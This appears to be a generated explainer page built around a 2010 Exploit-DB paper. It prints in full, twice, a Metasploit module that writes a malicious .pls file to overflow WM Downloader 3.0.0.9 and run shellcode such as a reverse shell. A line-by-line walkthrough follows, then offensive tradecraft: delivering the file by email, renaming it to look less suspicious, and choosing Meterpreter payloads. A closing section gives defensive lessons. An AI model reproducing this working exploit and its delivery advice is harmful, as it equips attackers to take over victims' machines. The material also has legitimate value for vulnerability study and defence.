WM Downloader 3.0.0.9 Local Buffer Overflow Explained

What this paper is

This paper describes a Metasploit Framework module that exploits a local buffer overflow vulnerability in WM Downloader version 3.0.0.9. The vulnerability allows an attacker to execute arbitrary code by crafting a malicious .pls file. When WM Downloader opens this file, it triggers the overflow, leading to the execution of attacker-controlled code.

Simple technical breakdown

WM Downloader is a program that manages downloaded media files. The vulnerability lies in how it handles .pls files, which are playlist files. These files can contain a large amount of data. If WM Downloader doesn't properly check the size of the data it reads from a .pls file into a fixed-size buffer in its memory, it can write more data than the buffer can hold. This excess data spills over into adjacent memory areas, including the program's execution stack.

By carefully crafting the data within the .pls file, an attacker can overwrite crucial information on the stack, such as the return address. The return address tells the program where to continue execution after a function finishes. By overwriting it with an address controlled by the attacker, they can redirect the program's execution flow to their own malicious code (shellcode) that they've also placed in memory.

Complete code and payload walkthrough

The provided code is a Ruby script for the Metasploit Framework. It defines an exploit module.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'WM Downloader Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in WM Downloader
version 3.0.0.9.
            By creating a specially crafted .pls file, an an attacker may be
able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' =>
                [
                    'Blake',
                ],
            'Version' => '$Revision: 1 $',
            'References' =>
                [
                    [ 'OSVDB', '62614' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11384' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload' =>
                {
                    'Space' => 1904,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x7C96BF33} ],         # ntdll.dll JMP ESP
                ],
            'Privileged' => false,
            'DisclosureDate' => 'Feb 10 2010',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.',
'exploit.pls']),
            ], self.class)
    end


    def exploit

        sploit = rand_text_alphanumeric(26084)
        sploit << [target.ret].pack('V')
        sploit << make_nops(20)
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(28000 - payload.encoded.length)

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end

Code Fragment/Block	Practical Purpose
`require 'msf/core'`	Imports the core Metasploit Framework library, providing access to its modules and functionalities.
`class Metasploit3 < Msf::Exploit::Remote`	Defines a new Metasploit exploit module, inheriting from the base `Msf::Exploit::Remote` class.
`Rank = NormalRanking`	Assigns a ranking to the exploit, indicating its general reliability and effectiveness. `NormalRanking` is a common and moderate level.
`include Msf::Exploit::FILEFORMAT`	Mixes in functionality to create files, specifically useful for file format exploits like this one.
`def initialize(info = {}) ... end`	The constructor for the exploit module. It initializes various metadata and configuration options.
`super(update_info(info, ...))`	Calls the parent class's constructor to set up the exploit's core information.
`'Name' => 'WM Downloader Buffer Overflow Exploit'`	The human-readable name of the exploit.
`'Description' => %q{...}`	A detailed explanation of what the exploit does and the vulnerability it targets.
`'License' => MSF_LICENSE`	Specifies the license under which the module is distributed (Metasploit Framework's license).
`'Author' => [ 'Blake', ]`	Lists the author(s) of the exploit module.
`'Version' => '$Revision: 1 $'`	The version control identifier for this module.
`'References' => [...]`	A list of external references to the vulnerability, such as OSVDB IDs or URLs to advisories.
`'DefaultOptions' => { 'EXITFUNC' => 'thread', }`	Sets default options for the exploit. `EXITFUNC 'thread'` is a common setting for Windows payloads to ensure the program exits cleanly after the shellcode runs.
`'Payload' => { ... }`	Defines parameters for the shellcode that will be executed.
`'Space' => 1904`	The maximum size in bytes the shellcode can occupy. This is a crucial constraint for fitting the payload within the overflow buffer.
`'BadChars' => "\x00\x0a\x0d\x20"`	Characters that are not allowed in the shellcode. These characters would likely break the shellcode's execution or the exploit itself. `\x00` (null byte), `\x0a` (newline), `\x0d` (carriage return), and `\x20` (space) are common bad characters.
`'StackAdjustment' => -3500`	An offset used to adjust the stack pointer. This helps ensure the shellcode is placed correctly relative to the overwritten return address.
`'Platform' => 'win'`	Specifies the target operating system platform.
`'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x7C96BF33} ] ]`	Defines the specific targets for the exploit. Each target has a name and a `Ret` value.
`'Ret' => 0x7C96BF33`	This is the crucial "return address" that will be overwritten. It points to an instruction in `ntdll.dll` (specifically, a `JMP ESP` instruction), which will then jump to the attacker's shellcode.
`'Privileged' => false`	Indicates whether the exploit requires elevated privileges. This one does not.
`'DisclosureDate' => 'Feb 10 2010'`	The date when the vulnerability was publicly disclosed.
`'DefaultTarget' => 0`	The index of the default target to use if none is specified.
`register_options([...], self.class)`	Registers command-line options for the module.
`OptString.new('FILENAME', [ false, 'The file name.', 'exploit.pls'])`	Defines a string option named `FILENAME` with a default value of `exploit.pls`. This is the name of the malicious `.pls` file to be created.
`def exploit ... end`	The main method that performs the exploit.
`sploit = rand_text_alphanumeric(26084)`	Generates a string of random alphanumeric characters. This serves as padding to fill up the buffer before the critical exploit components. The length (26084) is determined by the size of the overflow and the space needed for other parts.
`sploit << [target.ret].pack('V')`	Appends the target's return address to the `sploit` string. `[target.ret]` creates an array containing the return address, and `.pack('V')` converts it into a little-endian byte representation (common for Windows). This overwrites the original return address on the stack.
`sploit << make_nops(20)`	Appends 20 "No Operation" (NOP) instructions. NOPs are instructions that do nothing. They create a "NOP sled" which increases the chances of landing on the shellcode if the exact jump point is slightly off.
`sploit << payload.encoded`	Appends the actual shellcode generated by Metasploit. This is the code that will be executed if the exploit is successful.
`sploit << rand_text_alphanumeric(28000 - payload.encoded.length)`	Appends more random alphanumeric characters as padding to fill the rest of the buffer up to a total size of 28000 bytes. This ensures the buffer is fully overflowed and the shellcode is placed correctly.
`print_status("Creating '#{datastore['FILENAME']}' file ...")`	Prints a status message to the console indicating that the file is being created.
`file_create(sploit)`	Uses the `FILEFORMAT` mixin to create a file with the name specified by the `FILENAME` option, containing the crafted `sploit` data.

Shellcode/Payload Explanation:

The payload.encoded part is the actual shellcode. Metasploit generates this dynamically based on the Payload options. For a typical Windows reverse shell, it would contain instructions to:

Establish a connection: Connect back to the attacker's machine.
Spawn a shell: Execute cmd.exe or a similar command interpreter.
Redirect I/O: Send the standard input, output, and error streams of the spawned shell over the network connection to the attacker.

The Space and BadChars parameters are critical for ensuring the shellcode can be generated and injected successfully. The StackAdjustment helps align the shellcode correctly.

Practical details for offensive operations teams

Required Access Level: Local access is required. This means the attacker needs to be able to run a program on the target machine that can create and open the .pls file. This could be achieved through social engineering (tricking a user into opening the file) or by exploiting another vulnerability to gain initial execution.
Lab Preconditions:
- A target machine running Windows XP SP3 with WM Downloader version 3.0.0.9 installed.
- A Metasploit Framework environment to generate and run the exploit module.
- A listener set up on the attacker's machine to receive the incoming shell connection.
Tooling Assumptions:
- Metasploit Framework is the primary tool.
- The exploit module is loaded and configured correctly within Metasploit.
- The attacker needs a way to deliver the .pls file to the target.
Execution Pitfalls:
- Target Version Mismatch: The exploit is highly specific to WM Downloader 3.0.0.9. Any other version will likely not be vulnerable or will have different memory layouts, rendering the exploit ineffective.
- Anti-Virus/Endpoint Detection: Modern AV solutions might detect the generated .pls file as malicious or flag the shellcode itself.
- DEP/ASLR: While less prevalent on older XP systems, Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) could potentially interfere with shellcode execution if not properly bypassed by the shellcode itself. The JMP ESP technique is a classic method that can be vulnerable to DEP if the stack is not marked as executable.
- File Path/Permissions: The exploit relies on the target user having permission to create the exploit.pls file in a location where WM Downloader will process it.
- Incorrect Return Address: If the target.ret value is incorrect for the specific environment (e.g., different DLL base addresses due to patches or service packs), the JMP ESP will not land on the shellcode, and the exploit will fail.
Tradecraft Considerations:
- File Delivery: The .pls file needs to be delivered and opened. This could be via email attachment, shared network drive, or a web download.
- Stealth: Since it's a local exploit, the initial access vector is key. Once the file is opened, the exploit itself is relatively noisy as it involves program crash and shellcode execution.
- Customization: The FILENAME option can be changed to something less suspicious. The shellcode itself can be customized for specific needs (e.g., Meterpreter for more advanced post-exploitation).

Where this was used and when

This exploit targets WM Downloader version 3.0.0.9. The vulnerability was disclosed around February 10, 2010, as indicated by the DisclosureDate. Exploits of this nature, targeting specific software versions with buffer overflows, were common in the late 2000s and early 2010s. While specific documented real-world attacks using this exact Metasploit module are not publicly detailed in the paper, vulnerabilities like this were often found in:

Targeted attacks: Where attackers would identify specific software used by a victim organization and craft custom exploits.
Malware distribution: Bundled with other malicious software or delivered via exploit kits.
Penetration testing engagements: As a demonstration of vulnerability and a means to gain initial access.

Defensive lessons for modern teams

Software Patching and Updates: The most critical defense is to keep software, especially widely used applications like media players or download managers, up-to-date. WM Downloader 3.0.0.9 is an old, likely unsupported version.
Input Validation: Developers must rigorously validate all user-supplied input, especially when dealing with file parsing or network data. Size checks, character validation, and proper buffer handling are essential.
Memory Safety: Employing memory-safe programming languages or using compiler/runtime protections can mitigate buffer overflow vulnerabilities.
Endpoint Detection and Response (EDR): Modern EDR solutions can detect anomalous behavior, such as unexpected program crashes, suspicious file creation, or shellcode execution, even if the specific exploit signature is unknown.
Least Privilege: Running applications with the minimum necessary privileges limits the impact of a successful exploit. If WM Downloader were running as a standard user, it would have less ability to affect the system.
Application Whitelisting: Restricting which applications can run on a system can prevent unauthorized or vulnerable software from being executed.

ASCII visual (if applicable)

+---------------------+
|     WM Downloader   |
|     (v 3.0.0.9)     |
+---------------------+
        |
        | Opens .pls file
        v
+---------------------+
|     Buffer in       |
|     Memory          | <--- Data from .pls file
+---------------------+
        |
        | Overflow occurs
        v
+---------------------+
|  Stack Memory       |
|---------------------|
|  ...                |
|---------------------|
|  Return Address     | <--- Overwritten by attacker's address
|---------------------|
|  Local Variables    |
|---------------------|
|  Shellcode          | <--- Attacker's code injected here
+---------------------+
        |
        | Function returns
        v
+---------------------+
|  JMP ESP instruction| <--- Executes attacker's shellcode
+---------------------+
        |
        v
+---------------------+
|  Attacker's Code    |
|  (e.g., Reverse Shell)|
+---------------------+

Source references

Paper ID: 12388
Paper Title: WM Downloader 3.0.0.9 - Local Buffer Overflow (Metasploit)
Author: blake
Published: 2010-04-25
Keywords: Windows, local
Paper URL: https://www.exploit-db.com/papers/12388
Raw URL: https://www.exploit-db.com/raw/12388

Original Exploit-DB Content (Verbatim)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'WM Downloader Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in WM Downloader
version 3.0.0.9.
            By creating a specially crafted .pls file, an an attacker may be
able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' =>
                [
                    'Blake',
                ],
            'Version' => '$Revision: 1 $',
            'References' =>
                [
                    [ 'OSVDB', '62614' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11384' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload' =>
                {
                    'Space' => 1904,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x7C96BF33} ],         #
ntdll.dll JMP ESP
                ],
            'Privileged' => false,
            'DisclosureDate' => 'Feb 10 2010',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.',
'exploit.pls']),
            ], self.class)
    end


    def exploit

        sploit = rand_text_alphanumeric(26084)
        sploit << [target.ret].pack('V')
        sploit << make_nops(20)
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(28000 - payload.encoded.length)

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end

By exploitdb papers bot•April 25, 2010•

papers